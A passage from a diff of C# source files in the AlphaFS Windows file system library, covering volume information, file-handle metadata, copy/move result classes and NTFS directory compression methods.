volumeName = Path.GetPathRoot(volumeName, false);
}
if (Utils.IsNullOrWhiteSpace(volumeName))
throw new ArgumentException(Resources.InvalidDriveLetterArgument, "volumeName");
Name = Path.AddTrailingDirectorySeparator(volumeName, false);
_volumeHandle = null;
}
/// <summary>Initializes a VolumeInfo instance.</summary>
/// <param name="driveName">A valid drive path or drive letter. This can be either uppercase or lowercase, 'a' to 'z' or a network share in the format: "\\server\share".</param>
/// <param name="refresh">Refreshes the state of the object.</param>
/// <param name="continueOnException"><c>true</c> suppress any Exception that might be thrown as a result from a failure, such as unavailable resources.</param>
[SecurityCritical]
public VolumeInfo(string driveName, bool refresh, bool continueOnException) : this(driveName)
{
_continueOnAccessError = continueOnException;
if (refresh)
Refresh();
}
/// <summary>Initializes a VolumeInfo instance.</summary>
/// <param name="volumeHandle">An instance to a <see cref="SafeFileHandle"/> handle.</param>
[SecurityCritical]
public VolumeInfo(SafeFileHandle volumeHandle)
{
_volumeHandle = volumeHandle;
}
/// <summary>Initializes a VolumeInfo instance.</summary>
/// <param name="volumeHandle">An instance to a <see cref="SafeFileHandle"/> handle.</param>
/// <param name="refresh">Refreshes the state of the object.</param>
/// <param name="continueOnException"><c>true</c> suppress any Exception that might be thrown as a result from a failure, such as unavailable resources.</param>
[SecurityCritical]
public VolumeInfo(SafeFileHandle volumeHandle, bool refresh, bool continueOnException) : this(volumeHandle)
{
_continueOnAccessError = continueOnException;
if (refresh)
Refresh();
}
/// <summary>Refreshes the state of the object.</summary>
public void Refresh()
{
var volumeNameBuffer = new StringBuilder(NativeMethods.MaxPath + 1);
var fileSystemNameBuffer = new StringBuilder(NativeMethods.MaxPath + 1);
int maximumComponentLength;
uint serialNumber;
using (new NativeMethods.ChangeErrorMode(NativeMethods.ErrorMode.FailCriticalErrors))
{
// GetVolumeInformationXxx()
// 2013-07-18: MSDN does not confirm LongPath usage but a Unicode version of this function exists.
uint lastError;
do
{
var success = null != _volumeHandle && NativeMethods.IsAtLeastWindowsVista
// GetVolumeInformationByHandle() / GetVolumeInformation()
// 2013-07-18: MSDN does not confirm LongPath usage but a Unicode version of this function exists.
? NativeMethods.GetVolumeInformationByHandle(_volumeHandle, volumeNameBuffer, (uint) volumeNameBuffer.Capacity, out serialNumber, out maximumComponentLength, out _volumeInfoAttributes, fileSystemNameBuffer, (uint) fileSystemNameBuffer.Capacity)
// A trailing backslash is required.
: NativeMethods.GetVolumeInformation(Path.AddTrailingDirectorySeparator(Name, false), volumeNameBuffer, (uint) volumeNameBuffer.Capacity, out serialNumber, out maximumComponentLength, out _volumeInfoAttributes, fileSystemNameBuffer, (uint) fileSystemNameBuffer.Capacity);
lastError = (uint) Marshal.GetLastWin32Error();
if (!success)
{
switch (lastError)
{
case Win32Errors.ERROR_NOT_READY:
if (!_continueOnAccessError)
throw new DeviceNotReadyException(Name, true);
break;
case Win32Errors.ERROR_MORE_DATA:
// With a large enough buffer this code never executes.
volumeNameBuffer.Capacity = volumeNameBuffer.Capacity*2;
fileSystemNameBuffer.Capacity = fileSystemNameBuffer.Capacity*2;
break;
default:
if (!_continueOnAccessError)
NativeError.ThrowException(lastError, Name);
break;
}
}
else
break;
} while (lastError == Win32Errors.ERROR_MORE_DATA);
}
FullPath = Path.GetRegularPathCore(Name, GetFullPathOptions.None, false);
Name = volumeNameBuffer.ToString();
FileSystemName = fileSystemNameBuffer.ToString();
FileSystemName = !Utils.IsNullOrWhiteSpace(FileSystemName) ? FileSystemName : null;
MaximumComponentLength = maximumComponentLength;
SerialNumber = serialNumber;
}
/// <summary>Returns the full path of the volume.</summary>
/// <returns>A string that represents this instance.</returns>
public override string ToString()
{
return Guid;
}
/// <summary>The specified volume supports preserved case of file names when it places a name on disk.</summary>
public bool CasePreservedNames
{
get { return (_volumeInfoAttributes & NativeMethods.VOLUME_INFO_FLAGS.FILE_CASE_PRESERVED_NAMES) != 0; }
}
/// <summary>The specified volume supports case-sensitive file names.</summary>
public bool CaseSensitiveSearch
{
get { return (_volumeInfoAttributes & NativeMethods.VOLUME_INFO_FLAGS.FILE_CASE_SENSITIVE_SEARCH) != 0; }
}
/// <summary>The specified volume supports file-based compression.</summary>
public bool Compression
{
get { return (_volumeInfoAttributes & NativeMethods.VOLUME_INFO_FLAGS.FILE_FILE_COMPRESSION) != 0; }
}
/// <summary>The specified volume is a direct access (DAX) volume.</summary>
public bool DirectAccess
{
get { return (_volumeInfoAttributes & NativeMethods.VOLUME_INFO_FLAGS.FILE_DAX_VOLUME) != 0; }
}
/// <summary>Gets the name of the file system, for example, the FAT file system or the NTFS file system.</summary>
/// <value>The name of the file system.</value>
public string FileSystemName { get; private set; }
/// <summary>The full path to the volume.</summary>
public string FullPath { get; private set; }
private string _guid;
/// <summary>The volume GUID.</summary>
public string Guid
{
get
{
if (Utils.IsNullOrWhiteSpace(_guid))
_guid = !Utils.IsNullOrWhiteSpace(FullPath) ? Volume.GetUniqueVolumeNameForPath(FullPath) : null;
return _guid;
}
}
/// <summary>Gets the maximum length of a file name component that the file system supports.</summary>
/// <value>The maximum length of a file name component that the file system supports.</value>
public int MaximumComponentLength { get; set; }
/// <summary>Gets the label of the volume.</summary>
/// <returns>The label of the volume.</returns>
/// <remarks>This property is the label assigned to the volume, such "MyDrive"</remarks>
public string Name { get; private set; }
/// <summary>The specified volume supports named streams.</summary>
public bool NamedStreams
{
get { return (_volumeInfoAttributes & NativeMethods.VOLUME_INFO_FLAGS.FILE_NAMED_STREAMS) != 0; }
}
/// <summary>The specified volume preserves and enforces access control lists (ACL).</summary>
[SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "Acls")]
public bool PersistentAcls
{
get { return (_volumeInfoAttributes & NativeMethods.VOLUME_INFO_FLAGS.FILE_PERSISTENT_ACLS) != 0; }
}
/// <summary>The specified volume is read-only.</summary>
public bool ReadOnlyVolume
{
get { return (_volumeInfoAttributes & NativeMethods.VOLUME_INFO_FLAGS.FILE_READ_ONLY_VOLUME) != 0; }
}
/// <summary>The specified volume supports a single sequential write.</summary>
public bool SequentialWriteOnce
{
get { return (_volumeInfoAttributes & NativeMethods.VOLUME_INFO_FLAGS.FILE_SEQUENTIAL_WRITE_ONCE) != 0; }
}
/// <summary>Gets the volume serial number that the operating system assigns when a hard disk is formatted.</summary>
/// <value>The volume serial number that the operating system assigns when a hard disk is formatted.</value>
public long SerialNumber { get; private set; }
/// <summary>The specified volume supports the Encrypted File System (EFS).</summary>
public bool SupportsEncryption
{
get { return (_volumeInfoAttributes & NativeMethods.VOLUME_INFO_FLAGS.FILE_SUPPORTS_ENCRYPTION) != 0; }
}
/// <summary>The specified volume supports extended attributes.</summary>
public bool SupportsExtendedAttributes
{
get { return (_volumeInfoAttributes & NativeMethods.VOLUME_INFO_FLAGS.FILE_SUPPORTS_EXTENDED_ATTRIBUTES) != 0; }
}
/// <summary>The specified volume supports hard links.</summary>
public bool SupportsHardLinks
{
get { return (_volumeInfoAttributes & NativeMethods.VOLUME_INFO_FLAGS.FILE_SUPPORTS_HARD_LINKS) != 0; }
}
/// <summary>The specified volume supports object identifiers.</summary>
public bool SupportsObjectIds
{
get { return (_volumeInfoAttributes & NativeMethods.VOLUME_INFO_FLAGS.FILE_SUPPORTS_OBJECT_IDS) != 0; }
}
/// <summary>The file system supports open by FileID.</summary>
public bool SupportsOpenByFileId
{
get { return (_volumeInfoAttributes & NativeMethods.VOLUME_INFO_FLAGS.FILE_SUPPORTS_OPEN_BY_FILE_ID) != 0; }
}
/// <summary>The specified volume supports remote storage. (This property does not appear on MSDN)</summary>
public bool SupportsRemoteStorage
{
get { return (_volumeInfoAttributes & NativeMethods.VOLUME_INFO_FLAGS.FILE_SUPPORTS_REMOTE_STORAGE) != 0; }
}
/// <summary>The specified volume supports re-parse points.</summary>
public bool SupportsReparsePoints
{
get { return (_volumeInfoAttributes & NativeMethods.VOLUME_INFO_FLAGS.FILE_SUPPORTS_REPARSE_POINTS) != 0; }
}
/// <summary>The specified volume supports sparse files.</summary>
public bool SupportsSparseFiles
{
get { return (_volumeInfoAttributes & NativeMethods.VOLUME_INFO_FLAGS.FILE_SUPPORTS_SPARSE_FILES) != 0; }
}
/// <summary>The specified volume supports transactions.</summary>
public bool SupportsTransactions
{
get { return (_volumeInfoAttributes & NativeMethods.VOLUME_INFO_FLAGS.FILE_SUPPORTS_TRANSACTIONS) != 0; }
}
/// <summary>The specified volume supports update sequence number (USN) journals.</summary>
[SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "Usn")]
public bool SupportsUsnJournal
{
get { return (_volumeInfoAttributes & NativeMethods.VOLUME_INFO_FLAGS.FILE_SUPPORTS_USN_JOURNAL) != 0; }
}
/// <summary>The specified volume supports Unicode in file names as they appear on disk.</summary>
public bool UnicodeOnDisk
{
get { return (_volumeInfoAttributes & NativeMethods.VOLUME_INFO_FLAGS.FILE_UNICODE_ON_DISK) != 0; }
}
/// <summary>The specified volume is a compressed volume, for example, a DoubleSpace volume.</summary>
public bool VolumeIsCompressed
{
get { return (_volumeInfoAttributes & NativeMethods.VOLUME_INFO_FLAGS.FILE_VOLUME_IS_COMPRESSED) != 0; }
}
/// <summary>The specified volume supports disk quotas.</summary>
public bool VolumeQuotas
{
get { return (_volumeInfoAttributes & NativeMethods.VOLUME_INFO_FLAGS.FILE_VOLUME_QUOTAS) != 0; }
}
}
}

View File

@@ -0,0 +1,132 @@
/* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
using System;
using System.IO;
using System.Security;
namespace Alphaleonis.Win32.Filesystem
{
/// <summary>Contains information that the GetFileInformationByHandle function retrieves.</summary>
[Serializable]
[SecurityCritical]
public sealed class ByHandleFileInfo
{
internal ByHandleFileInfo(NativeMethods.BY_HANDLE_FILE_INFORMATION fibh)
{
CreationTimeUtc = DateTime.FromFileTimeUtc(fibh.ftCreationTime);
LastAccessTimeUtc = DateTime.FromFileTimeUtc(fibh.ftLastAccessTime);
LastWriteTimeUtc = DateTime.FromFileTimeUtc(fibh.ftLastWriteTime);
Attributes = fibh.dwFileAttributes;
FileIndex = NativeMethods.ToLong(fibh.nFileIndexHigh, fibh.nFileIndexLow);
FileSize = NativeMethods.ToLong(fibh.nFileSizeHigh, fibh.nFileSizeLow);
NumberOfLinks = (int) fibh.nNumberOfLinks;
VolumeSerialNumber = fibh.dwVolumeSerialNumber;
}
/// <summary>Gets the file attributes.</summary>
/// <value>The file attributes.</value>
public FileAttributes Attributes { get; private set; }
/// <summary>Gets the time this entry was created.</summary>
/// <value>The time this entry was created.</value>
public DateTime CreationTime
{
get { return CreationTimeUtc.ToLocalTime(); }
}
/// <summary>Gets the time, in coordinated universal time (UTC), this entry was created.</summary>
/// <value>The time, in coordinated universal time (UTC), this entry was created.</value>
public DateTime CreationTimeUtc { get; private set; }
/// <summary>Gets the time this entry was last accessed.
/// For a file, the structure specifies the last time that a file is read from or written to.
/// For a directory, the structure specifies when the directory is created.
/// For both files and directories, the specified date is correct, but the time of day is always set to midnight.
/// If the underlying file system does not support the last access time, this member is zero (0).
/// </summary>
/// <value>The time this entry was last accessed.</value>
public DateTime LastAccessTime
{
get { return LastAccessTimeUtc.ToLocalTime(); }
}
/// <summary>Gets the time, in coordinated universal time (UTC), this entry was last accessed.
/// For a file, the structure specifies the last time that a file is read from or written to.
/// For a directory, the structure specifies when the directory is created.
/// For both files and directories, the specified date is correct, but the time of day is always set to midnight.
/// If the underlying file system does not support the last access time, this member is zero (0).
/// </summary>
/// <value>The time, in coordinated universal time (UTC), this entry was last accessed.</value>
public DateTime LastAccessTimeUtc { get; private set; }
/// <summary>Gets the time this entry was last modified.
/// For a file, the structure specifies the last time that a file is written to.
/// For a directory, the structure specifies when the directory is created.
/// If the underlying file system does not support the last access time, this member is zero (0).
/// </summary>
/// <value>The time this entry was last modified.</value>
public DateTime LastWriteTime
{
get { return LastWriteTimeUtc.ToLocalTime(); }
}
/// <summary>Gets the time, in coordinated universal time (UTC), this entry was last modified.
/// For a file, the structure specifies the last time that a file is written to.
/// For a directory, the structure specifies when the directory is created.
/// If the underlying file system does not support the last access time, this member is zero (0).
/// </summary>
/// <value>The time, in coordinated universal time (UTC), this entry was last modified.</value>
public DateTime LastWriteTimeUtc { get; private set; }
/// <summary>Gets the serial number of the volume that contains a file.</summary>
/// <value>The serial number of the volume that contains a file.</value>
public long VolumeSerialNumber { get; private set; }
/// <summary>Gets the size of the file.</summary>
/// <value>The size of the file.</value>
public long FileSize { get; private set; }
/// <summary>Gets the number of links to this file. For the FAT file system this member is always 1. For the NTFS file system, it can be more than 1.</summary>
/// <value>The number of links to this file. </value>
public int NumberOfLinks { get; private set; }
/// <summary>
/// Gets the unique identifier associated with the file. The identifier and the volume serial number uniquely identify a
/// file on a single computer. To determine whether two open handles represent the same file, combine the identifier
/// and the volume serial number for each file and compare them.
/// </summary>
/// <value>The unique identifier of the file.</value>
public long FileIndex { get; private set; }
}
}

View File

@@ -0,0 +1,61 @@
/* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
namespace Alphaleonis.Win32.Filesystem
{
internal struct CopyMoveArguments
{
public int Retry;
public int RetryTimeout;
public KernelTransaction Transaction;
public string SourcePath;
public string DestinationPath;
public bool CopyTimestamps;
public CopyOptions? CopyOptions;
public MoveOptions? MoveOptions;
public CopyMoveProgressRoutine ProgressHandler;
public object UserProgressData;
public PathFormat PathFormat;
internal DirectoryEnumerationFilters DirectoryEnumerationFilters;
internal string SourcePathLp;
internal string DestinationPathLp;
internal bool IsCopy;
/// <summary>A Move action fallback using Copy + Delete.</summary>
internal bool EmulateMove;
/// <summary>A file/folder will be deleted or renamed on Computer startup.</summary>
internal bool DelayUntilReboot;
internal bool DeleteOnStartup;
internal NativeMethods.NativeCopyMoveProgressRoutine Routine;
internal bool PathsChecked;
}
}

View File

@@ -0,0 +1,26 @@
/* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
namespace Alphaleonis.Win32.Filesystem
{
/// <summary>Callback used by CopyFileXxx and MoveFileXxx to report progress about the copy/move operation.</summary>
public delegate CopyMoveProgressResult CopyMoveProgressRoutine(long totalFileSize, long totalBytesTransferred, long streamSize, long streamBytesTransferred, int streamNumber, CopyMoveProgressCallbackReason callbackReason, object userData);
}

View File

@@ -0,0 +1,171 @@
/* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
using System;
using System.ComponentModel;
using System.Diagnostics;
using System.Diagnostics.CodeAnalysis;
namespace Alphaleonis.Win32.Filesystem
{
/// <summary>Class for CopyMoveResult that contains the results for the Copy or Move action.</summary>
/// <remarks>Normally there is no need to manually instantiate and/or populate this class.</remarks>
[Serializable]
public sealed class CopyMoveResult
{
#region Private Fields
[NonSerialized] internal readonly Stopwatch Stopwatch;
#endregion // Private Fields
#region Constructors
/// <summary>Initializes a CopyMoveResult instance for the Copy or Move action.</summary>
/// <param name="source">Indicates the full path to the source file or directory.</param>
/// <param name="destination">Indicates the full path to the destination file or directory.</param>
private CopyMoveResult(string source, string destination)
{
Source = source;
Destination = destination;
IsCopy = true;
Retries = 0;
Stopwatch = new Stopwatch();
}
internal CopyMoveResult(CopyMoveArguments cma, bool isFolder) : this(cma.SourcePath, cma.DestinationPath)
{
IsEmulatedMove = cma.EmulateMove;
IsCopy = cma.IsCopy;
IsDirectory = isFolder;
TimestampsCopied = cma.CopyTimestamps;
}
internal CopyMoveResult(CopyMoveArguments cma, bool isFolder, string source, string destination) : this(source, destination)
{
IsEmulatedMove = cma.EmulateMove;
IsCopy = cma.IsCopy;
IsDirectory = isFolder;
TimestampsCopied = cma.CopyTimestamps;
}
#endregion // Constructors
#region Properties
/// <summary>Indicates the duration of the Copy or Move action.</summary>
public TimeSpan Duration
{
get { return TimeSpan.FromMilliseconds(Stopwatch.Elapsed.TotalMilliseconds); }
}
/// <summary>Indicates the destination file or directory.</summary>
public string Destination { get; private set; }
/// <summary>The error code encountered during the Copy or Move action.</summary>
/// <value>0 (zero) indicates success.</value>
public int ErrorCode { get; internal set; }
/// <summary>The error message from the <see cref="ErrorCode"/> that was encountered during the Copy or Move action.</summary>
/// <value>A message describing the error.</value>
[SuppressMessage("Microsoft.Design", "CA1065:DoNotRaiseExceptionsInUnexpectedLocations")]
public string ErrorMessage { get { return new Win32Exception(ErrorCode).Message; } }
/// <summary>When <c>true</c> indicates that the Copy or Move action was canceled.</summary>
/// <value><c>true</c> when the Copy/Move action was canceled. Otherwise <c>false</c>.</value>
public bool IsCanceled { get; internal set; }
/// <summary>When <c>true</c> the action was a Copy, Move otherwise.</summary>
/// <value><c>true</c> when the action was a Copy. Otherwise a Move action was performed.</value>
public bool IsCopy { get; private set; }
/// <summary>Gets a value indicating whether this instance represents a directory.</summary>
/// <value><c>true</c> if this instance represents a directory; otherwise, <c>false</c>.</value>
public bool IsDirectory { get; private set; }
/// <summary>Indicates the Move action used a fallback of Copy + Delete actions.</summary>
public bool IsEmulatedMove { get; private set; }
/// <summary>Gets a value indicating whether this instance represents a file.</summary>
/// <value><c>true</c> if this instance represents a file; otherwise, <c>false</c>.</value>
public bool IsFile { get { return !IsDirectory; } }
/// <summary>When <c>true</c> the action was a Move, Copy otherwise.</summary>
/// <value><c>true</c> when the action was a Move. Otherwise a Copy action was performed.</value>
public bool IsMove { get { return !IsCopy; } }
/// <summary>The total number of retry attempts.</summary>
public long Retries { get; internal set; }
/// <summary>Indicates the source file or directory.</summary>
public string Source { get; private set; }
/// <summary>Indicates that the source date and timestamps have been applied to the destination file system objects.</summary>
public bool TimestampsCopied { get; private set; }
/// <summary>The total number of bytes copied.</summary>
public long TotalBytes { get; internal set; }
/// <summary>The total number of bytes copied, formatted as a unit size.</summary>
public string TotalBytesUnitSize
{
get { return Utils.UnitSizeToText(TotalBytes); }
}
/// <summary>The total number of files copied.</summary>
public long TotalFiles { get; internal set; }
/// <summary>The total number of folders copied.</summary>
public long TotalFolders { get; internal set; }
#endregion // Properties
}
}

View File

@@ -0,0 +1,167 @@
/* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
using System;
using System.IO;
using System.Security;
namespace Alphaleonis.Win32.Filesystem
{
public static partial class Directory
{
/// <summary>[AlphaFS] Compresses a directory using NTFS compression.</summary>
/// <remarks>This will only compress the root items (non recursive).</remarks>
/// <exception cref="ArgumentException"/>
/// <exception cref="ArgumentNullException"/>
/// <exception cref="DirectoryNotFoundException"/>
/// <exception cref="IOException"/>
/// <exception cref="NotSupportedException"/>
/// <exception cref="UnauthorizedAccessException"/>
/// <param name="path">A path that describes a directory to compress.</param>
[SecurityCritical]
public static void Compress(string path)
{
CompressDecompressCore(null, path, Path.WildcardStarMatchAll, null, null, true, PathFormat.RelativePath);
}
/// <summary>[AlphaFS] Compresses a directory using NTFS compression.</summary>
/// <remarks>This will only compress the root items (non recursive).</remarks>
/// <exception cref="ArgumentException"/>
/// <exception cref="ArgumentNullException"/>
/// <exception cref="DirectoryNotFoundException"/>
/// <exception cref="IOException"/>
/// <exception cref="NotSupportedException"/>
/// <exception cref="UnauthorizedAccessException"/>
/// <param name="path">A path that describes a directory to compress.</param>
/// <param name="pathFormat">Indicates the format of the path parameter(s).</param>
[SecurityCritical]
public static void Compress(string path, PathFormat pathFormat)
{
CompressDecompressCore(null, path, Path.WildcardStarMatchAll, null, null, true, pathFormat);
}
/// <summary>[AlphaFS] Compresses a directory using NTFS compression.</summary>
/// <exception cref="ArgumentException"/>
/// <exception cref="ArgumentNullException"/>
/// <exception cref="DirectoryNotFoundException"/>
/// <exception cref="IOException"/>
/// <exception cref="NotSupportedException"/>
/// <exception cref="UnauthorizedAccessException"/>
/// <param name="path">A path that describes a directory to compress.</param>
/// <param name="options"><see cref="DirectoryEnumerationOptions"/> flags that specify how the directory is to be enumerated.</param>
[SecurityCritical]
public static void Compress(string path, DirectoryEnumerationOptions options)
{
CompressDecompressCore(null, path, Path.WildcardStarMatchAll, options, null, true, PathFormat.RelativePath);
}
/// <summary>[AlphaFS] Compresses a directory using NTFS compression.</summary>
/// <exception cref="ArgumentException"/>
/// <exception cref="ArgumentNullException"/>
/// <exception cref="DirectoryNotFoundException"/>
/// <exception cref="IOException"/>
/// <exception cref="NotSupportedException"/>
/// <exception cref="UnauthorizedAccessException"/>
/// <param name="path">A path that describes a directory to compress.</param>
/// <param name="options"><see cref="DirectoryEnumerationOptions"/> flags that specify how the directory is to be enumerated.</param>
/// <param name="pathFormat">Indicates the format of the path parameter(s).</param>
[SecurityCritical]
public static void Compress(string path, DirectoryEnumerationOptions options, PathFormat pathFormat)
{
CompressDecompressCore(null, path, Path.WildcardStarMatchAll, options, null, true, pathFormat);
}
/// <summary>[AlphaFS] Compresses a directory using NTFS compression.</summary>
/// <remarks>This will only compress the root items (non recursive).</remarks>
/// <exception cref="ArgumentException"/>
/// <exception cref="ArgumentNullException"/>
/// <exception cref="DirectoryNotFoundException"/>
/// <exception cref="IOException"/>
/// <exception cref="NotSupportedException"/>
/// <exception cref="UnauthorizedAccessException"/>
/// <param name="path">A path that describes a directory to compress.</param>
/// <param name="filters">The specification of custom filters to be used in the process.</param>
[SecurityCritical]
public static void Compress(string path, DirectoryEnumerationFilters filters)
{
CompressDecompressCore(null, path, Path.WildcardStarMatchAll, null, filters, true, PathFormat.RelativePath);
}
/// <summary>[AlphaFS] Compresses a directory using NTFS compression.</summary>
/// <remarks>This will only compress the root items (non recursive).</remarks>
/// <exception cref="ArgumentException"/>
/// <exception cref="ArgumentNullException"/>
/// <exception cref="DirectoryNotFoundException"/>
/// <exception cref="IOException"/>
/// <exception cref="NotSupportedException"/>
/// <exception cref="UnauthorizedAccessException"/>
/// <param name="path">A path that describes a directory to compress.</param>
/// <param name="filters">The specification of custom filters to be used in the process.</param>
/// <param name="pathFormat">Indicates the format of the path parameter(s).</param>
[SecurityCritical]
public static void Compress(string path, DirectoryEnumerationFilters filters, PathFormat pathFormat)
{
CompressDecompressCore(null, path, Path.WildcardStarMatchAll, null, filters, true, pathFormat);
}
/// <summary>[AlphaFS] Compresses a directory using NTFS compression.</summary>
/// <remarks>This will only compress the root items (non recursive).</remarks>
/// <exception cref="ArgumentException"/>
/// <exception cref="ArgumentNullException"/>
/// <exception cref="DirectoryNotFoundException"/>
/// <exception cref="IOException"/>
/// <exception cref="NotSupportedException"/>
/// <exception cref="UnauthorizedAccessException"/>
/// <param name="path">A path that describes a directory to compress.</param>
/// <param name="options"><see cref="DirectoryEnumerationOptions"/> flags that specify how the directory is to be enumerated.</param>
/// <param name="filters">The specification of custom filters to be used in the process.</param>
[SecurityCritical]
public static void Compress(string path, DirectoryEnumerationOptions options, DirectoryEnumerationFilters filters)
{
CompressDecompressCore(null, path, Path.WildcardStarMatchAll, options, filters, true, PathFormat.RelativePath);
}
/// <summary>[AlphaFS] Compresses a directory using NTFS compression.</summary>
/// <remarks>This will only compress the root items (non recursive).</remarks>
/// <exception cref="ArgumentException"/>
/// <exception cref="ArgumentNullException"/>
/// <exception cref="DirectoryNotFoundException"/>
/// <exception cref="IOException"/>
/// <exception cref="NotSupportedException"/>
/// <exception cref="UnauthorizedAccessException"/>
/// <param name="path">A path that describes a directory to compress.</param>
/// <param name="options"><see cref="DirectoryEnumerationOptions"/> flags that specify how the directory is to be enumerated.</param>
/// <param name="filters">The specification of custom filters to be used in the process.</param>
/// <param name="pathFormat">Indicates the format of the path parameter(s).</param>
[SecurityCritical]
public static void Compress(string path, DirectoryEnumerationOptions options, DirectoryEnumerationFilters filters, PathFormat pathFormat)
{
CompressDecompressCore(null, path, Path.WildcardStarMatchAll, options, filters, true, pathFormat);
}
}
}

View File

@@ -0,0 +1,175 @@
/* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
